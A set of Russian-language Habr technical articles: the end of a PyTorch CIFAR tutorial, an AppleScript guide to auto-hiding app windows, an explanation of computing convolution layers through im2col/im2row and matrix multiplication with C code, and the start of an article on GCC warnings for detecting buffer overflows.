Рассмотрим сначала как работает нейронная сеть по распознаванию изображений. Это простая сеть прямой связи. Он принимает входные данные, пропускает их через несколько слоев один за другим, а затем, наконец, выдает выходные данные.
Создадим подобную сеть в нашей среде:
```
import torch.nn as nn
import torch.nn.functional as F
class Net(nn.Module):
def __init__(self):
super(Net, self).__init__()
self.conv1 = nn.Conv2d(3, 6, 5)
self.pool = nn.MaxPool2d(2, 2)
self.conv2 = nn.Conv2d(6, 16, 5)
self.fc1 = nn.Linear(16 * 5 * 5, 120)
self.fc2 = nn.Linear(120, 84)
self.fc3 = nn.Linear(84, 10)
def forward(self, x):
x = self.pool(F.relu(self.conv1(x)))
x = self.pool(F.relu(self.conv2(x)))
x = x.view(-1, 16 * 5 * 5)
x = F.relu(self.fc1(x))
x = F.relu(self.fc2(x))
x = self.fc3(x)
return x
net = Net()
```
Определим так же функцию потерь и оптимизатор
```
import torch.optim as optim
criterion = nn.CrossEntropyLoss()
optimizer = optim.SGD(net.parameters(), lr=0.001, momentum=0.9)
```
### Тренировка сети на тренировочных данных
Начинаем тренировку нашей нейронной сети. Обращаю внимание что после этого как вы запустите на выполнение этот код, нужно будет подождать некоторое время до завершения работы. У меня это заняло 5 мин. Для обучение сети нужно время.
```
for epoch in range(2): # loop over the dataset multiple times
running_loss = 0.0
for i, data in enumerate(trainloader, 0):
# get the inputs; data is a list of [inputs, labels]
inputs, labels = data
# zero the parameter gradients
optimizer.zero_grad()
# forward + backward + optimize
outputs = net(inputs)
loss = criterion(outputs, labels)
loss.backward()
optimizer.step()
# print statistics
running_loss += loss.item()
if i % 2000 == 1999: # print every 2000 mini-batches
print('[%d, %5d] loss: %.3f' %
(epoch + 1, i + 1, running_loss / 2000))
running_loss = 0.0
print('Finished Training')
```
Получим такой результат:
Сохраняем нашу обученную модель:
```
PATH = './cifar_net.pth'
torch.save(net.state_dict(), PATH)
```
### Тестирование сети на тестовых данных
Мы обучили сеть использую набор обучающих данных. Но нам нужно проверить, научилась ли сеть вообще чему-либо.
Мы проверим это, предсказав метку класса, которую выводит нейронная сеть, и проверив ее на предмет истинности. Если прогноз верен, мы добавляем образец в список правильных прогнозов.
Давайте покажем изображение из тестового набора:
```
dataiter = iter(testloader)
images, labels = dataiter.next()
# print images
imshow(torchvision.utils.make_grid(images))
print('GroundTruth: ', ' '.join('%5s' % classes[labels[j]] for j in range(4)))
```
Теперь попросим нейронную сеть сообщить нам что на этих картинках:
```
net = Net()
net.load_state_dict(torch.load(PATH))
outputs = net(images)
_, predicted = torch.max(outputs, 1)
print('Predicted: ', ' '.join('%5s' % classes[predicted[j]]
for j in range(4)))
```
Результаты кажутся довольно хорошими: сеть определила правильно три картинки из четырех.
Давайте посмотрим, как сеть работает во всем наборе данных.
```
correct = 0
total = 0
with torch.no_grad():
for data in testloader:
images, labels = data
outputs = net(images)
_, predicted = torch.max(outputs.data, 1)
total += labels.size(0)
correct += (predicted == labels).sum().item()
print('Accuracy of the network on the 10000 test images: %d %%' % (
100 * correct / total))
```
Похоже сеть что-то знает и работает. Если бы он определяла классы наугад, то точность бы была 10%.
Теперь посмотрим какие классы сеть определяет лучше:
```
class_correct = list(0. for i in range(10))
class_total = list(0. for i in range(10))
with torch.no_grad():
for data in testloader:
images, labels = data
outputs = net(images)
_, predicted = torch.max(outputs, 1)
c = (predicted == labels).squeeze()
for i in range(4):
label = labels[i]
class_correct[label] += c[i].item()
class_total[label] += 1
for i in range(10):
print('Accuracy of %5s : %2d %%' % (
classes[i], 100 * class_correct[i] / class_total[i]))
```
Похоже что лучше всего сеть определяет автомобили и корабли: 71% точности.
Итак сеть работает. Теперь попробуем перенести ее работу на графический процессор (GPU) и посмотри что поменяется.
### Тренировка нейронной сети на GPU
Сначала объясню коротко что такое CUDA. CUDA (Compute Unified Device Architecture) — платформа параллельных вычислений, разработанная NVIDIA, для общих вычислений на графических процессорах (GPU). С помощью CUDA разработчики могут значительно ускорить вычислительные приложения, используя возможности графических процессоров. На нашем сервере, который мы приобрели, данная платформа уже установлена.
Давайте сначала определим наше GPU как первое видимое устройство cuda.
```
device = torch . device ( "cuda:0" if torch . cuda . is_available () else "cpu" )
# Assuming that we are on a CUDA machine, this should print a CUDA device:
print ( device )
```
Отправляем сеть на GPU:
```
net.to(device)
```
Так же нам придется отправлять входы и цели на каждом шаге и в GPU:
```
inputs, labels = data[0].to(device), data[1].to(device)
```
Запустим повторное обучение сети уже на GPU:
```
import torch.optim as optim
criterion = nn.CrossEntropyLoss()
optimizer = optim.SGD(net.parameters(), lr=0.001, momentum=0.9)
for epoch in range(2): # loop over the dataset multiple times
running_loss = 0.0
for i, data in enumerate(trainloader, 0):
# get the inputs; data is a list of [inputs, labels]
inputs, labels = data[0].to(device), data[1].to(device)
# zero the parameter gradients
optimizer.zero_grad()
# forward + backward + optimize
outputs = net(inputs)
loss = criterion(outputs, labels)
loss.backward()
optimizer.step()
# print statistics
running_loss += loss.item()
if i % 2000 == 1999: # print every 2000 mini-batches
print('[%d, %5d] loss: %.3f' %
(epoch + 1, i + 1, running_loss / 2000))
running_loss = 0.0
print('Finished Training')
```
В этот раз обучение сети продолжалось по времени около 3 минут. Напомним что тот же этап на обычном процессоре длился 5 минут. Разница не существенная, это происходит потому что наша сеть не такая большая. При использовании больших массивов для обучения разница между скоростью работы GPU и традиционного процессора буде возрастать.
На этом кажется все. Что нам удалось сделать:
* Мы рассмотрели что такое GPU и выбрали сервер на котором он установлен;
* Мы настроили программное окружение для создания нейронной сети;
* Мы создали нейронную сеть для распознавание изображений и обучили ее;
* Мы повторили обучение сети с использованием GPU и получили прирост в скорости.
Буду рад ответить на вопросы в комментариях. | https://habr.com/ru/post/488564/ | null | ru | null |
# Сворачивание приложений в Dock для ленивых с помощью AppleScript
Как часто вы пользуетесь опциями некоторых программ (iTerm 2, Total Finder, Adium), которые позволяют показать окно приложения по нажатию на глобальный хоткей и скрыть это приложение при потере фокуса? Лично я — постоянно. А что если некая программа не имеет такого функционала и постоянно маячит перед глазами? Тот же Skype, например. Под катом вариант приведения своего рабочего пространства в порядок.
Открываем и скрываем приложение по хоткею
-----------------------------------------
Начнем с самого простого. Задача: по нажатию на глобальный хоткей из любой программы передать фокус Skype и этим же действием его скрыть. Существует [целый парк](http://superuser.com/a/309144) программ, которые позволяют сделать это очень просто. Однако мы не ищем простых путей и не готовы устанавливать дополнительные программки для этих целей. В данном случае на помощь приходит Automator с возможностью создать сервис и повесить хоткей на его вызов из любого приложения.
Запускаем Automator, выбираем тип документа **Служба**. В списке **Служба получает** выбираем *нет входных данных* в соседнем списке оставляем *в любой программе*. Добавляем в нашу службу действие **Запустить AppleScript** и вставляем следующий код:
```
set appName to "Skype"
set startIt to false
tell application "System Events"
if not (exists process appName) then
set startIt to true
else if frontmost of process appName then
set visible of process appName to false
else
set frontmost of process appName to true
end if
end tell
if startIt then
tell application appName to activate
end if
```
**Как это выглядит** 
Данный код честно позаимствован [отсюда](http://brettterpstra.com/2011/01/22/quick-tip-applescript-application-toggle/).
Здесь все просто: скрипт проверяет, запущено ли приложение, если нет, то запускает его, иначе либо сворачивает его (если окно приложения находится в фокусе), либо отдает ему фокус (если в данный момент активно другое приложение).
Сохраняем нашу службу, переходим в **Системные настройки > Клавиатура > Сочетание клавиш** в списке слева выбираем **Службы**, в списке справа находим только что созданную нами службу и привязываем к ней хоткей. Цель достигнута, однако без одного *но* здесь не обойдется.
Проблема в том, что вызов службы не привязывается к глобальному хоткею. Службы вызываются из каждого приложения «локально». Например, находясь в данный момент в Safari, в меню программы мы найдем подменю **Службы** (т.е. *Safari > Службы*), где нам будет доступна наша служба для запуска. Соответственно запустить ее мы можем вручную из любого приложения, а назначенный нами хоткей имеет меньший приоритет по сравнению с настройками конкретного приложения. Отсюда имеем два выхода: либо назначить для вызова нашей службы сочетание клавиш, которое не используется больше нигде в системе, ни в одной программе, либо прибегнуть к помощи [тех самых](http://superuser.com/a/309144) сторонних программ, которые дадут возможность повесить глобальный хоткей на вызов службы. Лично я пошел по третьему пути и воспользовался возможностями Alfred, который позволяет не прибегать к выше описанным действиям и дает возможность показывать и скрывать приложение по нажатию на заданный глобальный хоткей.
Что там с автохайдингом?
------------------------
Итак, мы научились показывать и скрывать приложение по нажатию на глобальный хоткей, но жать на кнопку, прежде чем переключиться в другое приложение, напряжно. Решим и эту проблему.
Открываем **Редактор AppleScript** и вставляем следующий код:
```
property appName : "Skype"
on idle
tell application "System Events"
set focusedApp to (name of the first process whose frontmost is true)
if (focusedApp is not appName) and (exists process appName) and (visible of process appName) then
set visible of process appName to false
end if
end tell
return 0.5
end idle
```
Жмем **Файл > Сохранить**, выбираем *формат файла* — **Программа**, ставим галку рядом с **Оставлять открытым после запуска обработчика**, сохраняем программу. После этого в редакторе доступна кнопка **Содержание пакета**, нажав на нее, справа выползет окно, в котором ищем кнопку с шестерней, в появившемся меню выбираем **Показать в Finder**:
**Как это выглядит** 
В открывшейся папке будет лежать файл **Info.plist**, открываем его в текстовом редакторе, после четвертой строки вставляем:
```
LSBackgroundOnly
1
```
**Вот, что должно получиться**
```
xml version="1.0" encoding="UTF-8"?
LSBackgroundOnly
1
CFBundleAllowMixedLocalizations
CFBundleDevelopmentRegion
English
CFBundleExecutable
applet
CFBundleIconFile
applet
CFBundleIdentifier
com.apple.ScriptEditor.id.HideSkype
CFBundleInfoDictionaryVersion
6.0
CFBundleName
HideSkype
CFBundlePackageType
APPL
CFBundleShortVersionString
1.0
CFBundleSignature
aplt
LSMinimumSystemVersionByArchitecture
x86\_64
10.6
LSRequiresCarbon
WindowState
dividerCollapsed
eventLogLevel
2
name
ScriptWindowState
positionOfDivider
333
savedFrame
55 281 602 597 0 0 1440 878
selectedTabView
event log
```
Сохраняем файл.
Вот и все, запускаем наше приложение, добавляем в автозагрузку и радуемся полученному результату. Отныне скайп глаза не мозолит.
Если вам интересны особенности реализации, то читаем дальше.
Разбор полетов
--------------
AppleScript для меня оказался открытием, так что буквально пару дней назад я и не знал о существовании этого «чуда» (уж очень он смахивает на язык для домохозяек). Зато предоставляет достаточно возможностей для автоматизации процессов в вашем рабочем окружении. Для выше описанных действий не понадобилась установка инструментов разработчика, а учитывая полученный результат, можно говорить о наличии мощного инструмента, который всегда под рукой.
Попробую разложить по полочкам решение задачи про автоскрытию приложения.
Сначала научимся определять, находится ли конкретное приложение в фокусе, или нет:
```
set appName to "Skype" --думаю, комментарии не уместны
tell application "System Events" --начинаем работу с объектом application, в данном случае с программой System Events
set focusedApp to (name of the first process whose frontmost is true) --записываем в focusedApp имя приложения, которое в данный момент в фокусе
if focusedApp is appName then
--вот и выяснили, что приложение с именем appName находится в фокусе
end if
end tell
```
Очень непривычно читать такой код, зато приятно — сомодокументированный код.
Если фокус приложения потерян, то скрываем его:
```
set appName to "Skype"
tell application "System Events"
set focusedApp to (name of the first process whose frontmost is true)
if (focusedApp is not appName) and (exists process appName) and (visible of process appName) then
set visible of process appName to false
end if
end tell
```
Вот и решение задачи. Осталось завернуть его в бесконечный цикл.
```
set appName to "Skype"
repeat while true
tell application "System Events"
set focusedApp to (name of the first process whose frontmost is true)
if (focusedApp is not appName) and (exists process appName) and (visible of process appName) then
set visible of process appName to false
end if
end tell
delay 0.5 --делаем задержку в пол секунды перед следующей итерацией
end repeat
```
И это уже рабочее решение. Однако если мы оставим его в таком виде, то скрипт просто-напросто зависнет, хоть и будет работать корректно. Решение — вынести цикл в отдельный поток. Но увы, потоков в AppleScript нет. Идем в документацию и открываем для себя хэндлер **idle**. Хэндлерами в AppleScript называются, по сути, привычные нам процедуры. Особенность хэндлера idle в том, что он вызывается системой каждые 30 секунд, если не возвращает никакого значения, если же он вернет, допустим, 5, то будет вызываться каждые 5 секунд.
```
on idle
set appName to "Skype"
tell application "System Events"
set focusedApp to (name of the first process whose frontmost is true)
if (focusedApp is not appName) and (exists process appName) and (visible of process appName) then
set visible of process appName to false
end if
end tell
return 0.5
end idle
```
Также можно отказаться от использования idle и работать с хендлерами **run** и **quit**:
```
property appName: "Skype"
property running: true
on run
repeat while running
tell application "System Events"
set focusedApp to (name of the first process whose frontmost is true)
if (focusedApp is not appName) and (exists process appName) and (visible of process appName) then
set visible of process appName to false
end if
end tell
delay 1
end repeat
end run
on quit
set running to false
end quit
```
Хочу один обработчик для нескольких программ
--------------------------------------------
Да без проблем:
```
property appsToHide: {"Skype", "Adium", "Sublime Text 2"}
on idle
tell application "System Events"
set focusedApp to name of the first process whose frontmost is true
repeat with appToHide in appsToHide
if (focusedApp is not in appToHide) and (exists process appToHide) and (visible of process appToHide) then
set visible of process appToHide to false
end if
end repeat
end tell
return 0.5
end idle
```
Стоит отметить следующий момент: `focusedApp is not in appToHide`. Здесь проверяется, содержится ли значение `focusedApp` в `appToHide`, хотя правильно бы было просто сравнить строки (операторы `=, is equal, equals, [is] equal to, is not
isn't, isn't equal [to], is not equal [to], doesn't equal, does not equal`). Но в данном примере строки (тип данных `text`) так и не захотели корректно сравниваться.
На этом я заканчиваю свой рассказ. Много подробностей об AppleScript можно найти [в официальной документации](https://developer.apple.com/library/mac/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html#//apple_ref/doc/uid/TP40000983). Если кто сомневается в актуальности данного инструмента, то посмотрите в [release notes](https://developer.apple.com/library/mac/releasenotes/AppleScript/RN-AppleScript/Introduction/Introduction.html#//apple_ref/doc/uid/TP40000982-CH1-SW1) — возможности языка расширяют с каждым релизом OS X. Также поисковики пестрят уже готовыми howto по решению задач с помощью AppleScript.
Спасибо за внимание. | https://habr.com/ru/post/202864/ | null | ru | null |
# Сверточный слой: методы оптимизации основанные на матричном умножении
Введение
--------
Данная статья является продолжением [серии статей](https://habr.com/post/471074/) описывающей алгоритмы лежащие в основе
[Synet](https://github.com/ermig1979/Synet) — фреймворка для запуска предварительно обученных нейронных сетей на CPU.
Если смотреть на распределение процессорного времени, которое тратится на прямое распространение сигнала в нейронных сетях, то окажется что зачастую более 90% всего времени тратится в свёрточных слоях. Поэтому если мы хотим получить быстрый алгоритм для нейронной сети – нам нужен, прежде всего, быстрый алгоритм для свёрточного слоя. В настоящей статье я хочу описать методы оптимизации прямого распространения сигнала в свёрточном слое. Причем начать хочется с наиболее широко распространенных методов, основанных на матричном умножении. Изложение я буду стараться вести в максимально доступной форме, чтобы статья была интересна не только специалистам (они и так про это все знают), но и более широкому кругу читателей. Я не претендую на полноту обзора, так что любые замечания и дополнения только приветствуются.
Параметры свёрточного слоя
--------------------------
Начать описание хотелось бы с описания параметров, которые есть в свёрточном слое. Специалисты могут смело пропустить этот раздел.
#### Размеры входного и выходного изображения
Прежде всего, свёрточный слой характеризуется входным и выходным изображением, которые характеризуются следующими параметрами:
* **srcC / dstC** — число каналов во входном и выходном изображении. Альтернативные обозначения: **C / D**.
* **srcH / dstH** — высота входного и выходного изображения. Альтернативное обозначение: **H**.
* **srcW / dstW** — ширина входного и выходного изображения. Альтернативное обозначение: **W**.
* **batch** — число входных (выходных) изображений — слой за раз может обработать целую партию изображений. Альтернативное обозначение: **N**.
#### Размеры ядра свертки
Операция свертки по своей сути — это взвешенная сумма некой окрестности данной точки изображения. Размер ядра свертки — характеризует величину этой окрестности и описывается двумя параметрами:
* **kernelY** — высота ядра свертки. Альтернативное обозначение: **Y**.
* **kernelX** — ширина ядра свертки. Альтернативное обозначение: **X**.
Наиболее часто встречаются свертки с размером ядра **1x1** и **3x3**. Размеры **5x5** и **7x7** встречаются значительно реже. Большие размеры свертки, а также свертки с ядром отличным от квадратного тоже иногда встречаются, но это больше экзотика.
#### Шаг свертки
Еще один важный параметр — шаг свертки:
* **strideY** — вертикальный шаг свертки.
* **strideX** — горизонтальный шаг свертки.
Если шаг отличен от **1x1**, например — **2x2**, то выходное изображение будет в два раза меньше (свертка будет рассчитана только в окрестности четных точек).
#### Растяжение свертки
Ядро свертки можно растянуть (увеличить эффективный размер окна, при сохранении количества операций) при помощи следующих параметров:
* **dilationY** — вертикальное растяжение свертки.
* **dilationX** — горизонтальное растяжение свертки.
Стоит отметить, что случаи с растяжением, отличным от **1x1** достаточно редкое явление (так я за свою карьеру с таким ни разу не встретился).
#### Паддинг входного изображения
Если применить свертку с окном, отличным от единичного к изображению, то выходное изображение будет меньше на величину **kernel — 1**. Свертка как бы «съедает» края. Чтобы сохранить размер изображения, входное изображение часто дополняют по краям нулями. За это отвечают еще четыре параметра:
* **padY / padX** — передние вертикальный и горизонтальный отступы.
* **padH / padW** — задние вертикальный и горизонтальный отступы.
#### Группы каналов
Обычно каждый выходной канал представляет собой сумму сверток по всем входным каналам. Однако, это не всегда так. Есть возможность разбить входные и выходные каналы на группы, суммирование осуществляется только внутри групп:
* **group** — число групп.
На практике чаще всего встречаются ситуации с **group = 1** и **group = srcC = dstC** — так называемое **depthwise convolution**.
#### Смещение и активационная функция
Хотя формально смещение и активационная функция не входят в свертку, но очень часто эти две операции следуют за свёрточным слоем, почему их обычно тоже включают в него. В виду разнообразия возможных активационных функций и их параметров, я не буду здесь их подробно описывать.
Базовая реализация алгоритма
----------------------------
Для начала хотелось бы привести базовую реализацию алгоритма:
```
float relu(float value)
{
return value > 0 ? value : 0;
}
void convolution(const float * src, int batch, int srcC, int srcH, int srcW,
int kernelY, int kernelX, int dilationY, int dilationX,
int strideY, int strideX, int padY, int padX, int padH, int padW, int group,
const float * weight, const float * bias, float * dst, int dstC)
{
int dstH = (srcH + padY + padH - (dilationY * (kernelY - 1) + 1)) / strideY + 1;
int dstW = (srcW + padX + padW - (dilationX * (kernelX - 1) + 1)) / strideX + 1;
dstC = dstC / group;
srcC = srcC / group;
for (int b = 0; b < batch; ++b)
{
for (int g = 0; g < group; ++g)
{
for (int dc = 0; dc < dstC; ++dc)
{
for (int dy = 0; dy < dstH; ++dy)
{
for (int dx = 0; dx < dstW; ++dx)
{
float sum = 0;
for (int sc = 0; sc < srcC; ++sc)
{
for (int ky = 0; ky < kernelY; ky++)
{
for (int kx = 0; kx < kernelX; kx++)
{
int sy = dy * strideY + ky * dilationY - padY;
int sx = dx * strideX + kx * dilationX - padX;
if (sy >= 0 && sy < srcH && sx >= 0 && sx < srcW)
sum +=
src[(((b*group + g)*srcC + sc)*srcH + sy)*srcW + sx] *
weight[(((g*dstC + dc)*srcC + sc)*kernelY + ky)*kernelX + kx];
}
}
}
dst[(((b*group + g)*dstC + dc)*dstH + dy)*dstW + dx] = sum + bias[g * dstC + dc];
}
}
}
}
}
}
```
В этой реализации я предполагал, что входное и выходное изображение имеет формат **NCHW**:
веса свертки хранятся в формате **DCYX**, а активационная функция у нас это [ReLU](https://en.wikipedia.org/wiki/Rectifier_(neural_networks)). В общем случае это не так, но для базовой реализации такие предположения вполне уместны — надо же от чего-то отталкиваться.
Мы имеем 8 вложенных циклов и общее количество операций:
```
batch * kernelY * kernelX * srcC * dstH * dstW * dstC / group * 2,
```
при этом количество данных во входном:
```
batch * srcC * srcH * srcW,
```
и выходном изображении:
```
batch * dstC * dstH * dstW,
```
а количество весовых коэффициентов:
```
kernelY * kernelX * srcC * dstC / group.
```
Если **group << srcC** (число групп значительно меньше числа каналов), а также при достаточно больших параметрах **srcC**, **srcH**, **srcW** и **dstC** у нас получается классическая вычислительная задача, когда количество вычислений значительно превышает объем входных и выходных данных. Т.е. операция свертки при грамотной реализации должна упираться в вычислительные ресурсы процессора, а не в пропускную способность памяти. Осталось только эту реализацию найти.
Сведение задачи к матричному умножению
--------------------------------------
Основная операция в свертке — это получение взвешенной суммы, причем веса одинаковы для всех точек выходного изображения. Если переупорядочить входное изображение следующим образом:
```
void im2col(const float * src, int srcC, int srcH, int srcW,
int kernelY, int kernelX, int dilationY, int dilationX,
int strideY, int strideX, int padY, int padX, int padH, int padW, float * buf)
{
int dstH = (srcH + padY + padH - (dilationY * (kernelY - 1) + 1)) / strideY + 1;
int dstW = (srcW + padX + padW - (dilationX * (kernelX - 1) + 1)) / strideX + 1;
for (int sc = 0; sc < srcC; ++sc)
{
for (int ky = 0; ky < kernelY; ky++)
{
for (int kx = 0; kx < kernelX; kx++)
{
for (int dy = 0; dy < dstH; ++dy)
{
for (int dx = 0; dx < dstW; ++dx)
{
int sy = dy * strideY + ky * dilationY - padY;
int sx = dx * strideX + kx * dilationX - padX;
if (sy >= 0 && sy < srcH && sx >= 0 && sx < srcW)
*buf++ = src[(sc*srcH + sy)*srcW + sx];
else
*buf++ = 0;
}
}
}
}
}
}
```
То мы перейдем от формата **srcC — srcH — srcW** мы перейдем к формату **srcC — kernelY — kernelX — dstH — dstW**. Ниже на рисунке показано, как происходит преобразование изображения с паддингом **1** и ядром **3x3**:
При этом все точки окрестности изображения, которые требуются для операции свертки выстраиваются вдоль столбцов результирующей матрицы (отсюда и ее название — **im**age **to** **col**umns).
Новое представление входного изображения интересно тем, что теперь операция свертки у нас сводится к матричному умножению:
Теперь код свертки будет выглядеть следующим образом:
```
void gemm_nn(int M, int N, int K, float alpha, const float * A, int lda,
float beta, const float * B, int ldb, float * C, int ldc)
{
for (int i = 0; i < M; ++i)
{
for (int j = 0; j < N; ++j)
{
C[i*ldc + j] = beta;
for (int k = 0; k < K; ++k)
C[i*ldc + j] += alpha * A[i*lda + k] * B[k*ldb + j];
}
}
}
void convolution(const float * src, int batch, int srcC, int srcH, int srcW,
int kernelY, int kernelX, int dilationY, int dilationX,
int strideY, int strideX, int padY, int padX, int padH, int padW, int group,
const float * weight, const float * bias, float * dst, int dstC, float * buf)
{
int dstH = (srcH + padY + padH - (dilationY * (kernelY - 1) + 1)) / strideY + 1;
int dstW = (srcW + padX + padW - (dilationX * (kernelX - 1) + 1)) / strideX + 1;
int M = dstC / group;
int N = dstH * dstW;
int K = srcC * kernelY * kernelX / group;
for (int b = 0; b < batch; ++b)
{
im2col(src, srcC, srcH, srcW, kernelY, kernelX, dilationY, dilationX,
strideY, strideX, padY, padX, padH, padW, buf);
for (int g = 0; g < group; ++g)
gemm_nn(M, N, K, 1, weight + M * K * g, K, 0, buf + N * K * g, N, dst + M * N * g, N);
for (int i = 0; i < dstC; ++i)
for (int j = 0; j < N; ++j)
dst[i*N+ j] = relu(dst[i*N + j] + bias[i]);
src += srcC*srcH*srcW;
dst += dstC*dstH*dstW;
}
}
```
Здесь тривиальная реализация матричного умножения приведена только в качестве примера. Мы можем заменить ее на любую другую реализацию. Благо, что матричное умножение — это давно отработанная операция, которая уже реализована во множестве библиотек с очень высокой эффективностью (до 90% от теоретически возможной производительности CPU). На тему как достигается эта эффективность у меня даже есть [отдельная статья](https://habr.com/ru/post/359272/).
Использование матричного умножения для формата NHWC
---------------------------------------------------
Наряду с форматом **NCHW**, в машинном обучении часто используют формат **NHWC** :
Для примера отметим, что **NHWC** — это родной формат [Tensorflow](https://github.com/tensorflow/tensorflow).
Примечательно, что и для этого формата операцию свертки можно также привести к матричному умножению. Для этого из формата **srcH — srcW — srcC** переведем исходное изображение в формат **dstH — dstW — kernelY — kernelX — srcC** при помощи функции **im2row**:
```
void im2row(const float * src, int srcC, int srcH, int srcW,
int kernelY, int kernelX, int dilationY, int dilationX, int strideY, int strideX,
int padY, int padX, int padH, int padW, int group, float * buf)
{
int dstH = (srcH + padY + padH - (dilationY * (kernelY - 1) + 1)) / strideY + 1;
int dstW = (srcW + padX + padW - (dilationX * (kernelX - 1) + 1)) / strideX + 1;
for (int g = 0; g < group; ++g)
{
for (int dy = 0; dy < dstH; ++dy)
{
for (int dx = 0; dx < dstW; ++dx)
{
for (int ky = 0; ky < kernelY; ky++)
{
for (int kx = 0; kx < kernelX; kx++)
{
int sy = dy * strideY + ky * dilationY - padY;
int sx = dx * strideX + kx * dilationX - padX;
for (int sc = 0; sc < srcC/group; ++sc)
{
if (sy >= 0 && sy < srcH && sx >= 0 && sx < srcW)
*buf++ = src[(sy * srcW + sx)*srcC + sc];
else
*buf++ = 0;
}
}
}
}
}
src += srcC / group;
}
}
```
При этом все точки окрестности изображения, которые требуются для операции свертки выстраиваются вдоль строк результирующей матрицы (отсюда и ее название — **im**age **to** **row**s). Также нам следует изменить формат хранения весов свертки из формата **DCYX** в формат **YXCD**. Теперь мы можем применять матричное умножение:
В отличие от формата **NCHW**, мы умножаем матрицу изображения на матрицу весов, а не наоборот. Ниже приведен код функции свертки:
```
void convolution(const float * src, int batch, int srcC, int srcH, int srcW,
int kernelY, int kernelX, int dilationY, int dilationX,
int strideY, int strideX, int padY, int padX, int padH, int padW, int group,
const float * weight, const float * bias, float * dst, int dstC, float * buf)
{
int dstH = (srcH + padY + padH - (dilationY * (kernelY - 1) + 1)) / strideY + 1;
int dstW = (srcW + padX + padW - (dilationX * (kernelX - 1) + 1)) / strideX + 1;
int M = dstH * dstW;
int N = dstC / group;
int K = srcC * kernelY * kernelX / group;
for (int b = 0; b < batch; ++b)
{
im2row(src, srcC, srcH, srcW, kernelY, kernelX, dilationY, dilationX,
strideY, strideX, padY, padX, padH, padW, group, buf);
for (int g = 0; g < group; ++g)
gemm_nn(M, N, K, 1, buf + M * K * g, K, 0, weight + N * g, dstC, dst + N * g, dstC);
for (int i = 0; i < M; ++i)
for (int j = 0; j < dstC; ++j)
dst[i*dstC+ j] = relu(dst[i*dstC + j] + bias[j]);
src += srcC*srcH*srcW;
dst += dstC*dstH*dstW;
}
}
```
Достоинства и недостатки метода
-------------------------------
С начала хотелось бы перечислить достоинства этого подхода:
* Данный метод имеет очень простую реализацию. Не даром он применяется практически во всех известных мне библиотеках.
* Эффективность метода для многих случаев очень велика: от единиц процентов в базовой версии мы достигаем более 80% от теоретического максимума.
* Подход универсальный — у нас один код для всех возможных параметров свёрточного слоя (а их не мало!). Поэтому данный метод часто работает в случаях, когда более эффективные (и потому более специализированные) подходы имеют ограничения.
* Подход работает для основных форматов тензоров изображений — **NCHW** и **NHWC** .
Теперь о недостатках:
* К сожалению стандартное матричное умножение эффективно при условии, что значениях параметров **M, N, K** достаточно велики и кроме того это величины приблизительно одного порядка (эффективность базируется на том обстоятельстве, что требуемое число вычислений **~O(N^3)**, при этом требуемая пропускная способность памяти **~O(N^2)**). Поэтому, если какой-то из параметров **M, N, K** мал, эффективность метода резко падает.
* Метод требует преобразования входных данных. А это далеко не бесплатная операция. Ей можно пренебречь только при условии достаточно большого **K**. А если еще учесть, что внутри стандартного матричного умножения существует еще внутренне преобразование входных данных, то ситуация становится еще печальней.
* Исходя из того, что **K = srcC \* kernelY \* kernelX / group**, эффективность метода особенно низка для входных свёрточных слоев. А для **depthwise convolution** матричный метод вообще проигрывает тривиальной реализации.
* Метод требует дополнительной обработки выходных данных для операции сдвига и вычисления активационной функции.
* Существуют более эффективные математические методы вычисления свертки, которые требую меньшего числа операций.
Выводы
------
Метод вычисления свертки, основанный на матричном умножении прост в реализации, и имеет высокую эффективность. К сожалению, он не универсален. Для ряда частных случаев существуют более быстрые подходы, описание которых мне хотелось бы отложить для следующих статей данной [серии](https://habr.com/post/471074/). Жду отзывов и замечаний от читателей. Надеюсь, вам было интересно!
**P.S.** Этот и другие подходы реализованы мной в [Convolution Framework](http://ermig1979.github.io/Simd/help/group__synet__convolution.html) в рамках библиотеки [Simd](https://github.com/ermig1979/Simd).
Данный фреймворк лежит в основе [Synet](https://github.com/ermig1979/Synet) — фреймворка для запуска предварительно обученных нейронных сетей на CPU. | https://habr.com/ru/post/448436/ | null | ru | null |
# Использование подсказок, включаемых в исходный код, помогающих GCC выявлять случаи переполнения буфера
Ошибки, связанные с доступом к областям памяти, которые находятся за пределами допустимого адресного пространства (out-of-bounds memory access), в 2021 году всё ещё пребывают в списке [самых опасных уязвимостей ПО CWE Top 25](https://cwe.mitre.org/top25/archive/2020/2020_cwe_top25.html). Известно, что ошибочные операции записи данных (out-of-bounds write, [CWE-787](https://cwe.mitre.org/data/definitions/787.html)) с двенадцатого места, которое они занимали в 2019 году, перешли в 2020 году на второе. А неправильные операции чтения данных (out-of-bounds read, [CWE-125](https://cwe.mitre.org/data/definitions/125.html)) в тех же временных пределах сменили пятое место на четвёртое.
[](https://habr.com/ru/company/ruvds/blog/572338/)
Понимание важности раннего выявления ошибок, приводящих к вышеозначенным проблемам, привело к тому, что в свежих релизах компиляторов GNU Compiler Collection (GCC) была значительно улучшена возможность детектирования подобных ошибок. Речь идёт об использовании ключей для проведения проверок и вывода предупреждений наподобие [-Warray-bounds](https://gcc.gnu.org/onlinedocs/gcc-11.1.0/gcc/Warning-Options.html#index-Warray-bounds), [-Wformat-overflow](https://gcc.gnu.org/onlinedocs/gcc-11.1.0/gcc/Warning-Options.html#index-Wformat-overflow), [-Wstringop-overflow](https://gcc.gnu.org/onlinedocs/gcc-11.1.0/gcc/Warning-Options.html#index-Wstringop-overflow) и (самая свежая возможность, появившаяся в GCC 11) [-Wstringop-overread](https://gcc.gnu.org/onlinedocs/gcc-11.1.0/gcc/Warning-Options.html#index-Wstringop-overread). Но всем этим проверкам свойственно одно и то же ограничение, связанное с тем, что система может обнаруживать проблемные ситуации лишь в пределах отдельных функций. Получается, что, за исключением анализа небольшого набора встроенных в компилятор функций, вроде `memcpy()`, проверка прекращается на границе вызова функции. То есть, например, если буфер, объявленный в функции A, переполняется в функции B, вызванной из функции A, компилятор, если функция B не встроена в функцию A, на эту проблему не реагирует.
В этом материале речь пойдёт о трёх видах простых подсказок, применяемых на уровне исходного кода, которые программист может использовать для того чтобы помочь GCC выявлять операции, связанные с доступом к областям памяти, находящимся за пределами допустимого адресного пространства. Причём, эти подсказки помогают компилятору находить проблемы и при пересечении границ вызова функций, и даже тогда, когда функции определены в разных файлах с исходным кодом.
А именно, речь идёт о следующих возможностях:
* Атрибут функций `access` (он появился в GCC 10, доступен [и в C, и в C++](https://developers.redhat.com/topics/c/)).
